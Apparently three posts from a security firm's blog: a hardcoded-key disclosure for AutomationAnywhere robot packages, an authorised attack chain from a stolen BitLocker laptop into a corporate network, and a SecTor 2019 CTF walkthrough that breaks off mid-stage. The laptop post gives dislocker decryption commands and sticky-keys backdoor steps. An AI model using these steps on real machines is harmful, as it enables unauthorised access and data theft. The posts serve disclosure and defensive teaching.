Anatomy of a Zero Day - How to decrypt....a robot?

That title would have sounded very weird to me a year ago but that’s exactly what happened. Let me walk you through how we were approached by a client for a code review, had to find a zero day just to get started (CVE-2022-29856), and ultimately “decrypted a robot.” You’ll also get to see how surprisingly simple it was to accomplish.


It all started with a client requesting a run of the mill code review, but for their robots. Now you have to keep in mind that this is a company that manufactures and packages household products, so you can forgive me when the first thought was “wait, like, actual beep boop robots?”. Turns out no, not beep boop robots, but instead something called “RPA Robots”.

RPA stands for Robotic Process Automation and sounds a lot cooler than it actually is. Basically, RPA software suites (e.g. AutomationAnywhere or UIPath) enable employees to create “Robots”, i.e. scripts, to automatically perform some action for them. You could, for example, create a robot to take input from an email attachment, parse it, and have it input fields into a website from that attachment. RPA software is like someone slapping a GUI on top of a bunch of custom Python and Java libraries to make automation development simpler and quicker. It’s meant to shift the tedious time-consuming work to these robots instead of actual people.

So these robots were the “code” for the code review. No problem, a code review is a fairly straightforward process and we would have no problem completing one for this request. So we received the exported robot packages, which came as a .aapkg files.

AAPKG files are just zips:

So we unzipped, perused around, and repeated until we got every file. Several of the files, all named “commands”, had large Base64 data sections in an XML structure.

These “commands” files were by far the largest in their respective packages and we knew they probably contained the meat of the code since the rest of the files had supplementary details or metadata.

So we decoded the Base64 data and checked it out:

Well, that looks thoroughly unintelligible. Wonderful…So that means we’re looking at either:

  • Binary data format - Not nearly as common as it used to be, and you’d probably still see something that looks like semi structured data or text

  • Highly compressed - totally possible, but it would likely have a file type marker or some other indicator

  • Encrypted - extremely likely and common, the data would look very mathematically random

So let’s see if the data had any common file type markers in it, perhaps it follows a known format:

That’s a no. “data” is what the file command returns when it has no idea what it is. So let’s check how random the data is by calculating the entropy:

That’s some super random looking data. A Shannon entropy of 7.99 is extremely close to the theoretical maximum of 8. Encrypted data is supposed to look basically the same as completely random data. Experience has taught us that if you find Base64 data that has no file markers in it and has an entropy of of 7.5 or above, it’s highly likely to be encrypted data. Could it be something else entirely? Sure, but not usually.

Alright, so now we have reasonable suspicion that the meat of the robot code is encrypted in this exported package. Which makes perfect sense since companies love to advertise their data as “encrypted at rest” or use “military/bank grade encryption” to seem more appealing to customers. And if you look at the vendor’s marketing you’ll see what we mean:

Well, the problem with encryption is almost never the actual encryption. The problem is how you manage the encryption keys. Which begs the question, where is the key that encrypted this data?

We figured the laziest thing that the RPA software vendor could have done would be just to include the decryption key in the exported package files. We looked and found nothing, good for them. Interestingly, the package actually had no mention of encryption of any type. Now, it’s entirely possible this is a problem that has already been solved and posted online. Since we needed more information anyway for a better understanding, we started looking at online forums, support websites, and documentation for any clues. We found some clues from the RPA vendor’s documentation:

Now it’s important to remember that this is a very large and complex piece of software. We have no way of knowing if this documentation explicitly applies to our situation, but it does give you something to go off of. We now know we should prioritize looking for any mention of AES-256 (probably CBC) and RSA-2048, the two most common encryption methods. It’s likely the developers standardized on these encryption methods for ease of use and documentation.

But, we already looked for those and didn’t find anything in the package files. Maybe the key doesn’t come in the package file, maybe you have to supply it out of band and enter it manually when you import a robot. If that’s so, then there must be some interface or button or something asking the user for the decryption key. We looked at every document we could, but nothing showed up. We saw mention of inputting passwords to decrypt the file, but the wording made it seem like it was optional, and the client never provided a password. From our short testing and lots of document reading we gathered the following is true:

  • You can export robot code and it’s encrypted

  • There is no decryption key included in the exported package

  • You can import the package and don’t need to supply additional information

  • The two systems don’t talk to each other (as far as we could tell)

Once we realized that last bullet point, the “sploity sense” triggered and one possibility shot to the top of our “likely” list: a hardcoded crypto key. The only way two people can send symmetrically encrypted data (the AES-256 mentioned above) without ever sharing the key (in any way) is if both people already had the key, i.e. hardcoded. If that was true, then the key would likely be in the installation files for the RPA software. All we would need to do is get the install files, open them up, and start looking.

The install files are provided free to download from the vendor:

We started unpacking the large CAB files:

After grepping for various keywords (AES, RSA, PRIVATE KEY, etc), we got a hit for something interesting in a kernel.jar file. We opened the file using JD-GUI and look at what we found:

There it is. That’s the crypto key and initialization vector we need. We wrote a quick decryption tool and successfully decrypted the robot code to plaintext.

It looks like what we suspected earlier, that they use the same cipher in other components, turned out to be true. This means that any customer of AutomationAnywhere that exported a robot package may be at risk of the contents being leaked. While it was confirmed to exist in version 22 of the software, the documentation indicates the issue may go back all the way to version 8. We couldn’t confirm because AutomationAnywhere never responded to any of our emails.

Well that was a fun couple of hours. We were then able to begin the code review where we found several issues and provided the client a detailed report of remediation recommendations for the future development of their robots.

So that’s how you decrypt a robot.


The big take away is that cryptography is hard, but managing cryptographic keys is even harder. It’s also important to note that the vendor never technically lied. They do use “industry leading encryption”, and they do in fact encrypt their data at rest, but in the end it only slowed us by a couple of hours, simply because key management isn’t easy.

Software customers need to start understanding that encryption isn’t enough, that they need to start asking the vendors questions about how the encryption keys are handled. They can start by asking some basic questions like:

  • Is any data secured using default, hardcoded, or shared cryptographic keys or passwords? If so, what data?

  • Do I have the ability to change cryptographic keys or passwords? How?

  • Do any cryptographic keys or passwords leave the system for any reason? If so, what leaves, why? and how?

  • What other systems store, transfer, or process the cryptographic keys or passwords that my system relies on or uses?

  • Do I have the ability to revoke previous cryptographic keys or passwords and prevent them from impacting my system?


Regarding the vulnerability disclosure, over the course of several months we reached out multiple times to various contact emails at AutomationAnywhere to begin the disclosure process but never received any response.

From Stolen Laptop to Inside the Company Network

What can you do with a stolen laptop? Can you get access to our internal network? That was the question a client wanted answered recently. Spoiler alert: Yes, yes you can. This post will walk you through how we took a “stolen” corporate laptop and chained several exploits together to get inside the client’s corporate network.


We received a Lenovo laptop preconfigured with the standard security stack for this organization. We didn’t get any information about this laptop, no test credentials, no configuration details, no nothing, it was a 100% blackbox test. Once the laptop came in, we opened the shipping box and got to work. After we did our reconnaissance of the laptop (BIOS settings, normal boot operation, hardware details, etc) we noted a lot of best practices were being followed, negating many common attacks. For example:

·       pcileech/DMA attacks were blocked because Intel’s VT-d BIOS setting was enabled

·       All BIOS settings were locked with a password

·       The BIOS boot order was locked to prevent booting from USB or CD

·       Secureboot was fully enabled and prevented any non-signed operating systems

·       Kon-boot auth bypass did not work because of full disk encryption

·       LAN turtle and other Responder attacks via USB ethernet adapters returned nothing usable

·       The SSD was full disk encrypted (FDE) using Microsoft’s BitLocker, secured via Trusted Platform Module (TPM)

With nothing else working, that last point, TPM secured BitLocker, was going to be our way in. One of the things we saw when doing recon was that the laptop boots directly to the Windows 10 Login screen. That, coupled with the BitLocker encryption means that the drive decryption key is being pulled only from the TPM, no user supplied PIN or password was needed which is the default for BitLocker. Microsoft recommends increasing the security if:

Attacker with skill and lengthy physical access

Targeted attack with plenty of time; this attacker will open the case, will solder, and will use sophisticated hardware or software.

Mitigation:

• Pre-boot authentication set to TPM with a PIN protector (with a sophisticated alphanumeric PIN [enhanced pin] to help the TPM anti-hammering mitigation).

As we’ll show you, this isn’t quite the case. A pre-equipped attacker can perform this entire attack chain in less than 30 minutes with no soldering, simple and relatively cheap hardware, and publicly available tools. A process that places it squarely into Evil-Maid territory.


For those that don’t know, the TPM is a highly secure and sophisticated piece of hardware that has numerous tamper detections and protections in place. Attacking the TPM directly is very unlikely to bear fruit within the timeframe of testing. As a result, we must look at the trust relationships around the TPM and what it relies on. It is a distinct and separate chip from other components on the motherboard and may be susceptible to a variety of attacks. Our particular TPM in question is shown here:

TPM.png

Researching that specific TPM chip revealed it communicates to the CPU using the Serial Peripheral Interface (SPI) protocol:

Screen Shot 2021-07-09 at 8.06.28 AM.png

Which was further supported when we found the TPM mentioned in the laptop’s schematics:

Screen Shot 2021-07-09 at 8.08.57 AM.png

SPI is a communication protocol for embedded systems and is extremely common amongst virtually all hardware. Due to its simplicity, there is no encryption option for SPI. Any encryption must be handled by the devices themselves. At the time of this writing BitLocker does not utilize any encrypted communication features of the TPM 2.0 standard, which means any data coming out of the TPM is coming out in plaintext, including the decryption key for Windows. If we can grab that key, we should be able to decrypt the drive, get access to the VPN client config, and maybe get access to the internal network.

Getting around the TPM in this manner is akin to ignoring Fort Knox and focusing on the not-so-armored car coming out of it.

In order to sniff the data moving over the SPI bus, we must attach leads or probes to the pins (labeled above as MOSI, MISO, CS, and CLK) on the TPM. Normally that is simple but there is a practical problem in this case. This TPM is on a VQFN32 footprint, which is very tiny. The “pins” are actually only 0.25mm wide and spaced 0.5mm apart. And those “pins” aren’t actually pins, they are flat against the wall of the chip so it’s physically impossible to attach any sort of clip. You could solder “fly leads” to the solder pads but that’s a hassle and tends to be a very physically unstable connection. Alternatively a common tactic is to locate in-series resistors to solder to, but they were just as small, and even more fragile. This was not going to be easy.

But before we got started we figured there might be another way. Many times SPI chips share the same “bus” with other SPI chips. It’s a technique hardware designers use to make connections simpler, save on cost, and make troubleshooting/programming easier. We started looking throughout the board for any other chip that might be on the same bus as the TPM. Maybe their pins would be larger and easier to use. After some probing and consulting the schematics, it turned out that the TPM shared a SPI bus with a single other chip, the CMOS chip, which definitely had larger pins. In fact, the CMOS chip had just about the largest pin size you can find on standard motherboards, it was a SOP-8 (aka SOIC-8).

CMOS-chip-annotated.png

This was ideal. We proceeded to hook up our Saleae logic analyzer to the pins according to the CMOS’s datasheet:

board.png
CMOS-hookup-close.png

A pre-equipped attacker, like we mentioned at the beginning, would instead use a SOIC-8 clip instead of individual probes. The clip would make it brain dead simple to connect to the chip and shave a couple minutes off a real-world attack.

Now that the probes were hooked up, we booted the laptop and recorded every SPI byte moving over the traces. Somewhere in the millions of pieces of data was a BitLocker decryption key being sent, the problem was now finding it. We used Henri Nurmi’s bitlocker-spi-toolkit to try to extract the key automatically but it wasn’t working on our capture. Below is a screenshot of his High Level Analyzer (HLA) in action, you can see that some transactions are being parsed correctly and some aren’t. There was something different about our capture that the HLA couldn’t account for.

logic-ss1.png

After days of troubleshooting, comparing captures, and pulling hair, we finally figured out it was a combination of different bit masks for the TPM command packets as well as a different regex for finding the key. We made a pull request for the fix and now the bitlocker-spi-toolkit can parse these types of requests as well. Once we had that, lo and behold, the key popped out.

Screen Shot 2021-06-16 at 9.38.03 PM.png

Perfect, now that we have the decryption key, let’s decrypt the SSD and see what we have. We pulled the SSD, mounted it in an adapter and plugged it in:

IMG_2198.png

We made a disk image of the drive which we operated on moving forward. Interestingly, in the entire process of the attack chain the part that takes the longest is simply copying the 256GB of files. Once we had the image locally, we could use the Dislocker toolset to decrypt the drive:

$ echo daa0ccb7312<REDACTED> | xxd -r -p > ~/vmk $ mkdir ~/ssd ~/mounted $ sudo losetup -P /dev/loop6 /mnt/hgfs/ExternalSSD/ssd-dd.img $ sudo fdisk -l /dev/loop6 Disk /dev/loop6: 238.47 GiB, 256060514304 bytes, 500118192 sectors Units: sectors of 1 * 512 = 512 bytes Sector size (logical/physical): 512 bytes / 512 bytes I/O size (minimum/optimal): 512 bytes / 512 bytes Disklabel type: gpt Disk identifier: BD45F9A-F26D-41C9-8F1F-0F1EE74233 Device Start End Sectors Size Type /dev/loop6p1 2048 1026047 1024000 500M Windows recovery environment /dev/loop6p2 1026048 2050047 1024000 500M EFI System /dev/loop6p3 2050048 2312191 262144 128M Microsoft reserved /dev/loop6p4 2312192 500117503 497805312 237.4G Microsoft basic data <- bitlocker drive $ sudo dislocker-fuse -K ~/vmk /dev/loop6p4 -- ~/ssd $ sudo ntfs-3g ~/ssd/dislocker-file ~/mounted $ ls -al ~/mounted total 19156929 drwxrwxrwx 1 root root 8192 May 5 19:00 . drwxrwxrwt 17 root root 4096 Jun 15 09:43 .. drwxrwxrwx 1 root root 0 May 6 14:29 '$Recycle.Bin' drwxrwxrwx 1 root root 0 May 4 10:55 '$WinREAgent' -rwxrwxrwx 1 root root 413738 Dec 7 2019 bootmgr -rwxrwxrwx 1 root root 1 Dec 7 2019 BOOTNXT lrwxrwxrwx 2 root root 15 May 4 11:18 'Documents and Settings' -> ~/mounted/Users

Now that we have offline plaintext access to the contents, we began our standard process for pillaging the data. Extracting password hashes, plaintext or encoded credentials, exposed sensitive files, etc. Unfortunately, nothing useful was found and we didn’t get any offline credentials of any sort, which shouldn’t be that surprising since this wasn’t an actual employee’s laptop with years of files, it was a purpose built laptop for this specific test. We did, however, find the VPN client in use: Palo Alto’s Global Protect (GP). GP has an interesting “feature” called a Pre-logon tunnel:

Pre-logon is a connect method that establishes a VPN tunnel before a user logs in. The purpose of pre-logon is to authenticate the endpoint (not the user) and enable domain scripts or other tasks to run as soon as the endpoint powers on.

That sounds like a really nice feature for an IT department to manage their endpoints. It also sounds like a great way to access the VPN without knowing anyone’s credentials. In theory, if we could boot a backdoored version of the laptop, e.g. use the sticky keys backdoor, we should be able to access the VPN tunnel without ever needing any credentials. In practice there are lots of ways to accomplish that but we decided to go the virtualization route in the interest of speed.

Since we have write access to the entire file system, we could have done anything including rewriting driver files for kernel level malware to proxying privileged DLLs to just adding accounts. In the interest of time and efficiency, sticky keys is perfect for this scenario, whose process is simply:

  1. Copy C:\Windows\System32\Utilman.exe to Utilman.exe.bak

  2. Copy C:\Windows\System32\cmd.exe to Utilman.exe

  3. Hit Windows + U at the login screen

Now that we have backdoor access, we just need to boot the drive. In order to boot the decrypted Windows image as a Virtual Machine, we first needed to create a custom VMDK file. This file needs to set up the parameters and map the start sectors of the decrypted BitLocker partition and encrypted image to the appropriate VM partitions. The resulting VMDK was:

# Disk DescriptorFile version=1 CID=19362586 parentCID=ffffffff createType="partitionedDevice" # Extent description RW 63 FLAT "ssd-dd.img" 0 RW 1985 FLAT "ssd-dd.img" 2048 RW 1024000 ZERO RW 1024000 FLAT "ssd-dd.img" 1026048 RW 262144 FLAT "ssd-dd.img" 2050048 # This is the 4th partition where the encrypted bitlocker drive was RW 497805312 FLAT "dislocker2-file" 0 RW 655 ZERO RW 33 FLAT "ssd-dd.img" 63 ddb.virtualHWVersion = "4" ddb.adapterType="ide" ddb.geometry.cylinders="16383" ddb.geometry.heads="16" ddb.geometry.sectors="63" ddb.uuid.image="43e1e-5c24-46cc-bcec-daad3d500" ddb.uuid.parent="00000000-0000-0000-0000-000000000000" ddb.uuid.modification="8d285-ad86-4227-86d4-ec168b6b3" ddb.uuid.parentmodification="00000000-0000-0000-0000-000000000000" ddb.geometry.biosCylinders="1024" ddb.geometry.biosHeads="255" ddb.geometry.biosSectors="63"

Now, with that VMDK and the sticky keys backdoored Windows image, we created the virtual machine, booted it, and hit WIndows + U at the login screen.

VirtualBox_win10-3_28_06_2021_15_33_47.png

GlobalProtect Status: Connected

That’s exactly what we wanted. For this to work, authentication to the VPN happens via a certificate attached to the computer account. Since every computer account has very basic privileges in Active Directory, we can run basic SMB commands within the domain. We queried the domain controller for various types of domain information such as users, groups, systems, etc. We could also list and view the contents of files on internal SMB shares:

VirtualBox_win10-3_29_06_2021_08_01_32 copy.png

We can also use this computer account’s access as a platform for launching internal attacks and escalating laterally. To prove we had write access to a server that we shouldn’t have, we chose the internal file server from above. The proof of concept was to write a file to that server and read it back to prove read/write access.

Writing-to-file-server copy.png

This “Scanner” share is a great choice for an attacker as a watering hole for various techniques, e.g. LNK attacks, trojaned PDFs, etc. At this point we had gained access to the internal network, basic privileges on Active Directory, and access to internal file shares, more than enough to start compromising sensitive corporate data.


To recap, we took a locked down FDE laptop, sniffed the BitLocker decryption key coming out of the TPM, backdoored a virtualized image, and used its VPN auto-connect feature to attack the internal corporate network. That is one way to go from stolen laptop to internal compromise.

Credits:

Special thanks for the researchers who shared their knowledge previously and helped make this attack more realistic, practical, and quicker:

Henri Nurmi - https://labs.f-secure.com/blog/sniff-there-leaks-my-bitlocker-key/

Denis Andzakovic - https://pulsesecurity.co.nz/articles/TPM-sniffing

SecTor 2019 CTF Walkthrough

We’d like to begin by thanking the SecTor team for their dedication to producing a world-class information security conference and also for providing us with this opportunity to contribute. Secondly, we would like to thank Nuix for both their immeasurable support and for sponsoring the prizes for our CTF participants.

If you are interested in taking a closer look at the challenges or playing along, we are hosting them at http://sectorctf2019.online with the exception of stages 6 and 7 due to resource allocation.

The CTF challenges were presented as a linear progression with each stage revealing both its own flag as well as the starting point for a subsequent challenge. Every stage/challenge was self-contained within itself unless otherwise noted. For the most part, each stage had only one flag, but as is the case when going down the rabbit hole, not everything is at is seems, and we’re all mad here…

Navigation:

Accessing the Challenge [Barcode]

Two key pieces of information were provided to the attendees.  The first was a call out on page 4 of the Pocket Guide informing people of the contest, though not directly explaining where to start. The second was at the bottom of the conference badges, just below the QR code.  Unfortunately, the way that the badges were provided, this section was usually folded under the QR code and much harder to find than originally intended.

pocket_guide.png

Pocket Guide [Information]

Looking closely at the Pocket Guide, the following text is provided to users:

Mallory asked the Cheshire Cat,
What road do I take?
The cat asked,
Where do you want to go?
I'm looking for CTF hints,
Mallory answered.
Then just start at the source
said the cat,
your badge will send you on the way!
~~~~~~~~~~~~~~
Play the CTF. Win Prizes!
Bragging rights!
Check out the Nuix + Dolos Group
booth for more information

The first part of this provides small hints that are intended to assist with solving the first challenge and obtaining the first flag. The second part provides basic information on which booth to seek out for additional assistance and information regarding the challenges. 

Additionally, hidden within the image is another clue that is very important to solving the challenges moving forward, although it is quite difficult to see. Rotating the page 90* you can see a string of characters that almost appear to be part of the image:

pocket_guide_2.png

Unfortunately, the tiny printing within the Pocket Guide made this string slightly harder to read than originally anticipated, however with a bit of effort (and potentially some luck) users were able to decode the string for the hidden message.

QWxsIGZsYWdzIHdpbGwgYmUgdXNlIHRoZSBmb3JtYXQgJ1NlY1RvcltmbGFnXScuIEUuRy4gU2VjVG9yW1RoaXNfaXNfbjB0X2FfZmxhZ10=

A simple Base64 decode will provide users with the following information:

All flags will be use the format ‘SecTor[flag]’. E.G. SecTor[This_is_n0t_a_flag]

Base64 was used as this is one of the more common encoding mechanisms that people come across, specifically early in CTF competitions. It is also easy to recognize due to the ‘=’ at the end of the string, for which the clear text was specifically chosen so that this would be available for easy identification.

The purpose of this string was to provide people with something to work on prior to the contest beginning as some people would have received badges and pocket guides before the contest began.  The reason for this was not everyone would have the option to receive their badges before Wednesday, and so as not to give someone an unfair advantage, we delayed the start of the challenges.  Additionally, while this is not needed to solve the challenges, knowing this information would be beneficial for some of the later challenges as there were intentional fake flags that were added to the challenges to slow people down.

Conference Badge [Challenge Start]

As we have hinted at, the true challenge to the start of the CTF was via scanning the barcode on the conference badges.

badge_barcode.png

Unfortunately, we ran into issues where some attendees did not have a barcode on the back of their badges, as well as others that had no idea that there was a back to their badges.  In effort to combat this and hopefully present people with more ways to begin the contest, we printed out the following flyers and had them around our table.

All of these barcodes are exactly the same, the ones on the flyer just happen to be stretched a little to try and mask the fact that it’s a barcode and look more like a banner.  In practice, this worked a little better than anticipated, however with a few hints most people were able to correctly see what the challenge here was and correctly scan the barcode.

Scanning this barcode with almost any barcode scanner app via your phone would provide a link to the SecTor CTF landing page that we setup, https://sector.ca/ctf2019.  This page would immediately redirect you to the home of all of the CTF challenges, http://sectorctf2019.online/.

Stage One [Source Requirement]

The first stage was intended to be about as easy as a challenge can get without providing you the answer directly.  After you scan the barcode, you are dropped on an index page for a website that we created.

The main page contained the following text as well as two links on the bottom:

Curiouser and curiouser!
Congratulations on beginning the SecTor CTF Contest. By finding this page you have already completed the first step of your journey. We wish you the best of luck in completing these challenges and finding the flags
We're all mad here...
Contest Rules

Utilizing the hint provided within the Pocket Guide, to start at the source, indicates that you will need to check on the source of the webpage.  Viewing the source provides the following information:

<!DOCTYPE HTML>
<html>
<head>
<title>Down the rabbit hole....</title>
</head>

<body>
<img src="./images/1.jpg" alt="Read the directions and directly you will be directed in the right direction." align="middle">

<p>Curiouser and curiouser!</p>
<p>Congratulations on beginning the SecTor CTF Contest. By finding this page you have already completed the first step of your journey. We wish you the best of luck in completing these challenges and finding the flags</p>
<p>We're all mad here...</p>

<a href="/contest.html">Contest</a>
<a href="/rules.html">Rules</a>


<!--

<img src="./images/2019_pocket_guide.png" align="middle">
# You have the right idea for the first challenge, but are looking in the wrong place...
# Is there somewhere else that you could also check?

-->
  
  
</body>
</html>

You will notice a commented-out section of the code that is what you are looking for. The first line provides a secondary link to the image contained within the Pocket Guide, and was added halfway through the competition to provide people getting this far another option for coming across the hidden message there, as well as providing an easier option for reading the hidden text. Following this is a note explaining that this is the correct answer to the challenge, however at the wrong location.  As there were two links on the page, pulling up the source on the Rules page provided the first flag. The reason for putting this flag on the rules page was to make sure that everyone was aware of the rules for the competition.

<!DOCTYPE HTML>
<html>
<head>
<title>SecTor Contest Rules</title>
</head>

<body>
<p>SecTor 2019 Capture the Flag Contest Rules, Information, and Guidelines<br>
==========<br>
Before you sign up, read ALL THE RULES CAREFULLY. It is each participant's responsibility to know and abide by all the rules. Any violation of any rule may result in instant disqualification of the contestant, and may place them at risk of criminal or civil prosecution.<br>
<br>
These rules are designed to protect you. Know them and abide by them!<br>
 - Attacking any Contest or hosting group's infrastructure will result in immediate disqualification and permanent ban.<br>
 - It's strictly forbidden to perform any kind of Denial of Service Attack (DoS/DDoS) against the servers or the competition's infrastructure;<br>
 - Attempting to exploit any other players will result in immediate disqualification and permanent ban.<br>
 - Hints may be available at the Contest booth<br>
 - Expect to meet Tom Foolery and Shenanigans within the contest challenges<br>
 - Bribery is explicitly allowed.<br>
 - Have fun and Learn a lot! :)<br>
<br>
<br>
This page, and challenges may be periodically updated to provide corrections and additional information as appropriate.<br>
<br>
<br>
Timeframe:<br>
The contest will be running between 2019-10-09:11:00:00 EDT and 2019-10-10:15:00:00 EDT.<br>
The Booth hours are subject to change.<br>
The Booth will be closing at 17:00 EDT for the evening, challenges will stay active but no hints/assistance will be provided until the booth reopens tomorrow...<br>
The booth will be open starting no later than 11:00 EDT Thursday.<br>
<br>
Prizes:<br>
Prizes will be available on a first come first serve basis for completing stages 1, 2, and 3 and can be redeemed by proving that you obtained a flag at the Contest booth.<br>
Grand Prizes will be available for the first person to finish the Contest and will provide two additional prizes for every subsequent person who completes the Contest.<br>
- In the event that no one finishes the puzzle, the Contest team reserves the right to designate winners based on who has progressed the farthest in the challenges, or in the event of a tie the first to reach the furthest stage.<br>
*Contestants must be present to win Grand Prizes.<br>
<br>
Any and all questions should be brought to our attention at the Contest booth and will be resolved in any manner that we see fit.<br></p>

<a href="/contest.html">Contest</a>
<a href="/rules.html">Rules</a>

<!--

# SecTor[Go on till you come to the end; then stop.]
# Good job on finding the first flag; stop by the Contest booth to claim a prize by providing proof that you've obtained this flag.
# You can find the next stage of the challenge at /knock/knock/packets.pcap
-->
</body>
</html>

As with the previous page, the flag is contained within a commented-out section of the code, highlighted above. As this was the first step, we wanted to have people stop by the booth to make sure that they were able to grab some of the prizes. This comment section also directs users to the next stage of the puzzle.

Flag: “SecTor[Go on till you come to the end; then stop.]”

Stage Two [Packet Capture]

Browsing to the location provided along with the flag in the last section, sectorctf2019.online/knock/knock/packets.pcap, provided users with a .pcap file. Opening this packet capture in Wireshark provided a very basic network transmission of a compressed file, called Doorknob.7z, being downloaded from one host to another.

As this transfer occurred between two private hosts, it was not expected for users to try and connect or download anything directly from the same source as the captured traffic. Instead, users were expected to extract this file from the packet capture. This could be easily completed within Wireshark by selecting ‘File’ > ‘Export Objects’ > ‘HTTP’,  bringing up a menu allowing you to extract and save the Doorknob.7z file from the packet capture.

Extracting the contents of Doorknob.7z produced a file, Doorknob. Running the Linux ‘file’ command on this shows that it is an ELF executable that can be run on a Linux host.

#   file Doorknob
Doorknob: ELF 64-bit LSB pie   executable, x86-64, version 1 (SYSV), dynamically linked, interpreter   /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=b56ea019612628ce072f1a58c5708bcaad3d3934,   not stripped

Executing the Doorknob file will produce the flag as shown below:

#   ./Doorknob 
Why it's simply impassible!
Why, don't you mean impossible?
SecTor[No,   I do mean impassible. Nothing's impossible!]
Come to the Contest booth to receive a prize for completing this stage
The next stage of the challenge can be found at /stage/B/binary.pdf

As with the previous stage, a prize was available for completing this stage in the puzzle as well as a reference to the location of the next stage. 

Flag: "SecTor[No, I do mean impassible. Nothing's impossible!]"

Stage Three [Binary.pdf]

As before, browsing the location provided with the flag, sectorctf2019.online/stage/B/binary.pdf, provided users with a bit more of a challenge as this stage had two distinct parts that were required to move on to the next stage. 

Decoding Binary

Downloading the binary.pdf file produced a file containing only binary:

Converting all of this Binary data to ASCII produced the following:

VmNrIGRpbm56d2J1IG96eiBodnNncyBxdm9ic2cgb2ZzIQ0KWCdiIGN0a3RnIGhqZ3QgbHdwaSBYJ2IgdmR4Y3YgaWQgcXQsDQp2aGVjIGVkdSBjeWRranUgamUgcWRlanh1aC4NClogdWZlJ2sganZ2IHlmbiB5diB0cmUgdm12aSB3emV6anlbDQpheCB6dyB2Z3drZidsIHR3eWFmXQ0KTWF4IG1iZnggYXRsIHZoZngsIG1heCBwdGVrbmwgbHRidw0KbmkgbnVmLCBpeiBndWhzIG5iY2hhbVsNCkphIG5janpuIHZpeSBuY2RrbiBdDQp3anogb2F3aGVjIHN3dCAtDQpNeHBwdGxvYVtMYyB6NHl5eGQzcCB4a2EgaDFrZHBdDQpSZmMgZnNwcGdjcCBHIGVtLA0Kc2dkIGFkZ2htY2RxIEggZmRzLg==

Using the same encoding as the hidden message as the Pocket Guide, we can see that the binary data decoded to base64 encoded data. Decoding this new message provided this:

Vck dinnzwbu ozz hvsgs qvobsg   ofs!
X'b   ctktg hjgt lwpi X'b vdxcv id qt,
vhec   edu cydkju je qdejxuh.
Z   ufe'k jvv yfn yv tre vmvi wzezjy[
ax   zw vgwkf'l twyaf]
Max   mbfx atl vhfx, max pteknl ltbw
ni   nuf, iz guhs nbcham[
Ja   ncjzn viy ncdkn ]
wjz   oawhec swt -
Mxpptloa[Lc   z4yyxd3p xka h1kdp]
Rfc   fsppgcp G em,
sgd   adghmcdq H fds.

Now this is where it gets a little trickier. While the previous messages used decoded the entire message, no single cipher will decode this new message block.  To this point, trying to break a substitution cipher, either monoalphabetic or polyalphabetic, to decode the entire message will always fail.  This is because each line is encoded with a different cipher, though once you know one of the ciphers, the rest fall into place.  Also, to prevent people from just guessing the flag as we are using a specific flag format, additional ‘[‘ and ‘]’ characters were thrown in behind 6 character words to prevent people from trying to cheat to get a flag.  In keeping with the simple theme of the ciphers, a simple Caesar, or rotation-based cipher, was used.

The key to solving this was to bruteforce all possible results and iterate through ciphers until each line started to make sense. The first line used a ROT-12 or alphabet rotated 12 characters. This was to intended to stay away from ROT-13, or rotated half of the alphabet due to the number of potential characters, and an extremely common cipher. Using this ROT-12 cipher, we can see that the first line decodes correctly while the second line remains encrypted:

How puzzling all these chanes are!
J'n ofwfs tvsf xibu J'n hpjoh up cf,
Vck dinnzwbu ozz hvsgs qvobsg   ofs!
X'b ctktg hjgt lwpi X'b vdxcv id qt,

By changing to a ROT-11 cipher we see that that the first line fails to decode while the second returns the following:

Gnv otyykhmf zkk sgdrd bgzmdr zqd!
I'm never sure what I'm going to be,
Vck dinnzwbu ozz hvsgs qvobsg   ofs!
X'b ctktg hjgt lwpi X'b vdxcv id qt,

Having determined that the trick to this challenge is a ROT-based cipher for each unique line, we can use the following table to determine the rotation used and the resulting cleartext:

ROT Ciphertext Cleartext
12 Vck dinnzwbu ozz hvsgs qvobsg ofs! How puzzling all these chanes are!
11 X'b ctktg hjgt lwpi X'b vdxcv id qt, I'm never sure what I'm going to be,
10 vhec edu cydkju je qdejxuh. from one minute to another.
9 Z ufe'k jvv yfn yv tre vmvi wzezjy[ I don't see how he can ever finish[
8 ax zw vgwkf'l twyaf] if he doesn't begin]
7 Max mbfx atl vhfx, max pteknl ltbw The time has come, the walrus said
6 ni nuf, iz guhs nbcham[ to tal, of many things[
5 Ja ncjzn viy ncdkn ] Of shoes and ships ]
4 wjz oawhec swt - and sealig wax -
3 Mxpptloa[Lc z4yyxd3p xka h1kdp] Password[Of c4bbag3s and k1ngs]
2 Rfc fsppgcp G em, The hurrier I go,
1 sgd adghmcdq H fds. the behinder I get.

Now that everything is decoded, we can note two things, there is a Password, but not a flag, and numerous spelling and grammar errors thrown in to cause additional mayhem. As this is a password and not a flag, the second part of the challenge is to determine where this password goes.

Password: "Of c4bbag3s and k1ngs"

File Analysis

As each stage was a challenge contained within itself, the password would not be used anywhere else on the site or for anything at the Contest booth. Because of this, the password would need to be used to access something within the file.  Looking at the pdf file using the file command shows that everything appears to be a regular pdf file:

$ file binary.pdf 
binary.pdf: PDF document, version 1.5

However, if you were to look at this file in a hex editor, you will see some interesting information contained at the very end, and highlighted below suggesting that there are more files contained within the pdf than it originally showed:

To help make these files a bit more noticeable, a padding sequence was appended after the end of file [EOF] for the pdf to assist in indicating where the additional files were hidden. In the highlighted section above we can see that the binary.pdf file contained three hidden text files; Alice.txt, Boris.txt, and Mallory.txt. While it is possible to manually carve out these files, it is far easier to use the Linux binwalk tool to automatically extract the information:

$ binwalk -e binary.pdf  
DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
0             0x0             PDF document, version:   "1.5"
241           0xF1            Unix path:   /PDF/Text/ImageB/ImageC/ImageI] >>/MediaBox[ 0 0 612 792] /Contents 4 0   R/Group<</Type/Group/S/Transparency/CS/DeviceRGB>>/Tabs/
436           0x1B4           Zlib compressed data, default   compression
2374          0x946           Unix path:   /Type/Font/Subtype/TrueType/Name/F1/BaseFont/ABCDEE+Consolas/Encoding/WinAnsiEncoding/FontDescriptor   6 0 R/FirstChar 32/LastChar
2542          0x9EE           Unix path: /Type/FontDescriptor/FontName/ABCDEE+Consolas/Flags   32/ItalicAngle 0/Ascent 743/Descent -257/CapHeight 743/AvgWidth 550/MaxWidth
2781          0xADD           Unix path:   /Type/ExtGState/BM/Normal/ca 1>>
2834          0xB12           Unix path: /Type/ExtGState/BM/Normal/CA   1>>
3246          0xCAE           Zlib compressed data, default   compression
34567         0x8707          Zlib compressed data, default   compression
